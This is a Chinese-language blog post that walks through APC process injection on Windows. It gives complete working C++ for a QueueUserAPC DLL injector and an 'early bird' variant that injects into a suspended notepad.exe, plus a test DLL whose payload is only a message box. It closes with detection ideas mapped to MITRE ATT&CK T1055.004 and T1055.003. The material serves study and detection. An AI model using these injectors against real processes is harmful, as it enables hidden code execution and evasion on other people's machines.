APC进程注入C++示例和检测思考
直接贴C++代码效果:
apc注入到pid为39712的进程

procexp可以看到注入的DLL!
好了,我们看看代码如何写:
注入部分
// inject3.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
#include <iostream>
#include<Windows.h>
#include<TlHelp32.h>
using namespace std;
void ShowError(const char* pszText)
{
char szError[MAX_PATH] = { 0 };
::wsprintf(szError, "%s Error[%d]\n", pszText, ::GetLastError());
::MessageBox(NULL, szError, "ERROR", MB_OK);
}
//列出指定进程的所有线程
BOOL GetProcessThreadList(DWORD th32ProcessID, DWORD** ppThreadIdList, LPDWORD pThreadIdListLength)
{
// 申请空间
DWORD dwThreadIdListLength = 0;
DWORD dwThreadIdListMaxCount = 2000;
LPDWORD pThreadIdList = NULL;
HANDLE hThreadSnap = INVALID_HANDLE_VALUE;
pThreadIdList = (LPDWORD)VirtualAlloc(NULL, dwThreadIdListMaxCount * sizeof(DWORD), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pThreadIdList == NULL)
{
return FALSE;
}
RtlZeroMemory(pThreadIdList, dwThreadIdListMaxCount * sizeof(DWORD));
THREADENTRY32 th32 = { 0 };
// 拍摄快照
hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, th32ProcessID);
if (hThreadSnap == INVALID_HANDLE_VALUE)
{
return FALSE;
}
// 结构的大小
th32.dwSize = sizeof(THREADENTRY32);
//遍历所有THREADENTRY32结构, 按顺序填入数组
BOOL bRet = Thread32First(hThreadSnap, &th32);
while (bRet)
{
if (th32.th32OwnerProcessID == th32ProcessID)
{
if (dwThreadIdListLength >= dwThreadIdListMaxCount)
{
break;
}
pThreadIdList[dwThreadIdListLength++] = th32.th32ThreadID;
}
bRet = Thread32Next(hThreadSnap, &th32);
}
*pThreadIdListLength = dwThreadIdListLength;
*ppThreadIdList = pThreadIdList;
return TRUE;
}
BOOL APCInject(HANDLE hProcess, CHAR* wzDllFullPath, LPDWORD pThreadIdList, DWORD dwThreadIdListLength)
{
// 申请内存
PVOID lpAddr = NULL;
SIZE_T page_size = 4096;
lpAddr = ::VirtualAllocEx(hProcess, nullptr, page_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (lpAddr == NULL)
{
ShowError("VirtualAllocEx - Error\n\n");
VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT);
CloseHandle(hProcess);
return FALSE;
}
// 把Dll的路径复制到内存中
if (FALSE == ::WriteProcessMemory(hProcess, lpAddr, wzDllFullPath, (strlen(wzDllFullPath) + 1) * sizeof(wzDllFullPath), nullptr))
{
ShowError("WriteProcessMemory - Error\n\n");
VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT);
CloseHandle(hProcess);
return FALSE;
}
// 获得LoadLibraryA的地址
PVOID loadLibraryAddress = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");
// 遍历线程, 插入APC
float fail = 0;
for (int i = dwThreadIdListLength - 1; i >= 0; i--)
{
// 打开线程
HANDLE hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]);
if (hThread)
{
// 插入APC
if (!::QueueUserAPC((PAPCFUNC)loadLibraryAddress, hThread, (ULONG_PTR)lpAddr))
{
fail++;
}
// 关闭线程句柄
::CloseHandle(hThread);
hThread = NULL;
}
}
printf("Total Thread: %d\n", dwThreadIdListLength);
printf("Total Failed: %d\n", (int)fail);
if ((int)fail == 0 || dwThreadIdListLength / fail > 0.5)
{
printf("Success to Inject APC\n");
return TRUE;
}
else
{
printf("Inject may be failed\n");
return FALSE;
}
}
int main()
{
ULONG32 ulProcessID = 0;
printf("Input the Process ID:");
cin >> ulProcessID;
CHAR wzDllFullPath[MAX_PATH] = "C:\\Users\\source\\repos\\injected_dll\\x64\\Release\\injected_dll.dll";// "C:\\Users\\l00379637\\source\\repos\\test_dll\\Release\\test_dll.dll";
LPDWORD pThreadIdList = NULL;
DWORD dwThreadIdListLength = 0;
if (!GetProcessThreadList(ulProcessID, &pThreadIdList, &dwThreadIdListLength))
{
printf("Can not list the threads\n");
exit(0);
}
//打开句柄
HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, ulProcessID);
if (hProcess == NULL)
{
printf("Failed to open Process\n");
return FALSE;
}
//注入
if (!APCInject(hProcess, wzDllFullPath, pThreadIdList, dwThreadIdListLength))
{
printf("Failed to inject DLL\n");
return FALSE;
}
return 0;
}
我们的DLL部分injected_dll.dll代码:
// myhack.cpp
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include "windows.h"
#include "tchar.h"
DWORD WINAPI ThreadProc(LPVOID lParam)
{
::MessageBoxW(NULL, L"szPath", L"captain?", 0); //调用函数进行URL下载
return 0;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
HANDLE hThread = NULL;
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
OutputDebugString(L"<myhack.dll> Injection!!!");
//创建远程线程进行download
hThread = CreateThread(NULL, 0, ThreadProc, NULL, 0, NULL);
// 需要注意,切记随手关闭句柄,保持好习惯
CloseHandle(hThread);
break;
}
return TRUE;
}
被注入的进程代码:
// sleephere.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
#include <windows.h>
#include <synchapi.h>
#include <iostream>
int main()
{
std::cout << "Hello World!\n";
DWORD pid = GetCurrentProcessId();
std::cout << "当前进程的PID是: " << pid << std::endl;
while (1) {
SleepEx(1000, true);
std::cout << "You are done!\n";
}
std::cout << "Exit!\n";
}
里面有一个关键函数:
SleepEx

其中,第二个参数表示是否可以被唤醒。解释见后:
我们再注入explorer.exe

注意:上述代码都是windows 64 release运行!
APC 是一个简称,具体名字叫做异步过程调用,我们看下MSDN中的解释,异步过程调用,属于是同步对象中的函数,所以去同步对象中查看.

首先介绍一下APC,会了正想开发就会逆向注入
首先第一个函数
QueueUserApc: 函数作用,添加制定的异步函数调用(回调函数)到执行的线程的APC队列中
APCproc: 函数作用: 回调函数的写法.
我们首先要知道异步函数调用的原理,
异步过程调用是一种能在特定线程环境中异步执行的系统机制。
往线程APC队列添加APC,系统会产生一个软中断。在线程下一次被调度的时候,就会执行APC函数,APC有两种形式,由系统产生的APC称为内核模式APC,由应用程序产生的APC被称为用户模式APC
这里介绍一下应用程序的APC
APC是往线程中插入一个回调函数,但是用的APC调用这个回调函数是有条件的.我们看下Msdn怎么写

MSDN说,要使用SleepEx,signalObjectAndWait.....等等这些函数才会触发
那么使用APC场合的注入就有了,
1.必须是多线程环境下
2.注入的程序必须会调用上面的那些同步对象.
那么我们可以注入APC,注意下条件,也不是所有都能注入的.
注入方法的原理:
1.当对面程序执行到某一个上面的等待函数的时候,系统会产生一个中断
2.当线程唤醒的时候,这个线程会优先去Apc队列中调用回调函数
3.我们利用QueueUserApc,往这个队列中插入一个回调
4.插入回调的时候,把插入的回调地址改为LoadLibrary,插入的参数我们使用VirtualAllocEx申请内存,并且写入进去
使用方法:
1.利用快照枚举所有的线程
2.写入远程内存,写入的是Dll的路径
3.插入我们的DLL即可
补充下,更完整的:
QueueUserAPC函数用于将一个异步过程调用(APC)添加到指定线程的APC队列中。当以下条件之一满足时,队列中的APC将被执行:
1. 当线程处于alertable状态并调用了如SleepEx,SignalObjectAndWait,WaitForSingleObjectEx,WaitForMultipleObjectsEx或者MsgWaitForMultipleObjectsEx等函数时,会执行队列中的APC。
2. 当线程调用AlertThread函数时,如果线程在调用AlertThread函数时处于等待状态,那么线程将被强制进入alertable状态,从而执行队列中的APC。
3. 当线程创建时,如果创建线程的函数指定了CREATE_SUSPENDED标志,那么线程将在创建时处于挂起状态。在这种情况下,可以使用QueueUserAPC函数将一个APC添加到线程的APC队列中,然后使用ResumeThread函数恢复线程的执行。当线程恢复执行时,它将立即执行队列中的APC,即使线程此时并不处于alertable状态。
请注意,只有当线程处于alertable状态时,才会执行队列中的APC。如果线程不处于alertable状态,那么即使APC队列中有待执行的APC,这些APC也不会被执行。
APC 注入的一种变体,称为“早鸟注入”,涉及创建一个挂起的进程。[2] AtomBombing [3]是另一种变体,它利用 APC 调用先前写入全局原子表的恶意代码。[4]
在这个文章里说明了早鸟注入的方法,https://tbhaxor.com/windows-process-injection-using-asynchronous-threads-queueuserapc/
我们根据其原理写一个早鸟注入的代码:
#include <iostream>
#include<Windows.h>
#include<TlHelp32.h>
using namespace std;
extern void ShowError(const char* pszText);
BOOL APCInject(HANDLE hProcess, HANDLE hThread, CHAR* wzDllFullPath)
{
// 申请内存
PVOID lpAddr = NULL;
SIZE_T page_size = 4096;
lpAddr = ::VirtualAllocEx(hProcess, nullptr, page_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (lpAddr == NULL)
{
ShowError("VirtualAllocEx - Error\n\n");
VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT);
CloseHandle(hProcess);
return FALSE;
}
// 把Dll的路径复制到内存中
if (FALSE == ::WriteProcessMemory(hProcess, lpAddr, wzDllFullPath, (strlen(wzDllFullPath) + 1) * sizeof(wzDllFullPath), nullptr))
{
ShowError("WriteProcessMemory - Error\n\n");
VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT);
CloseHandle(hProcess);
return FALSE;
}
// 获得LoadLibraryA的地址
PVOID loadLibraryAddress = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");
// 插入APC
if (!::QueueUserAPC((PAPCFUNC)loadLibraryAddress, hThread, (ULONG_PTR)lpAddr))
{
ShowError("QueueUserAPC - Error\n\n");
return FALSE;
}
return TRUE;
}
int main()
{
CHAR wzDllFullPath[MAX_PATH] = "C:\\Users\\l00379637\\source\\repos\\injected_dll\\x64\\Release\\injected_dll.dll";
STARTUPINFO si = { sizeof(STARTUPINFO) };
PROCESS_INFORMATION pi;
if (!CreateProcess("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
ShowError("CreateProcess - Error\n\n");
return 1;
}
//注入
if (!APCInject(pi.hProcess, pi.hThread, wzDllFullPath))
{
printf("Failed to inject DLL\n");
return FALSE;
}
// 恢复新进程的主线程,这将导致APC立即执行
if (ResumeThread(pi.hThread) == -1) {
ShowError("ResumeThread - Error\n\n");
return 1;
}
// 等待新进程结束
WaitForSingleObject(pi.hProcess, INFINITE);
// 清理
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return 0;
}
效果:

因为是创建了进程,所以看起来这个被注入的进程是从apc_inject.exe拉起来的(建立进程基线应该可以发现系统进程异常fork)

通过调试发现,的确是在调用ResumeThread:恢复新进程的主线程,这将导致APC立即执行。才会弹出messagebox的窗口的!
好了!我们接下来看看应该如何进行检测!
Asynchronous Procedure Call - 异步过程调用 高 T1055 = 18.1% T1055.004 https://attack.mitre.org/techniques/T1055/004/
1、OS API调用, OpenThread,QueueUserAPC 用于调用 LoadLibrayA 指向一个恶意DLL,其他还有SuspendThread/ SetThreadContext/ ResumeThread, QueueUserAPC/ NtQueueApcThread 挂载ntdll.dll 1、监测Windows API calls如 OpenThread,QueueUserAPC 用于调用 LoadLibrayA 指向一个恶意DLL(SuspendThread/ SetThreadContext/ ResumeThread, QueueUserAPC/ NtQueueApcThread),和已知的良性进程区分。【注意误报】
所以这种,可以结合L0/L1的混合推理来做。如果是同一个实体关系里有上述api的调用,则必然是apc注入了。
至于注入后的代码是否恶意,则要结合注入的dll、shellcode进一步取证。
---------------------------------开源规则的检测思路--------------------------------
Thread Execution Hijacking -线程执行劫持 高 T1055.003 = 1.0% T1055.003 https://attack.mitre.org/techniques/T1055/003/
攻击思路:OS API调用,OpenThread可能被暂停,然后写重新调整的注码,并继续通过 SuspendThread , VirtualAllocEx, WriteProcessMemory, SetThreadContext 然后 ResumeThread 执行 挂载ntdll
检测思路:监测Windows API calls如 CreateRemoteThread, SuspendThread/ SetThreadContext/ ResumeThread , VirtualAllocEx/ WriteProcessMemory,和已知的良性进程区分。【注意误报】

浙公网安备 33010602011771号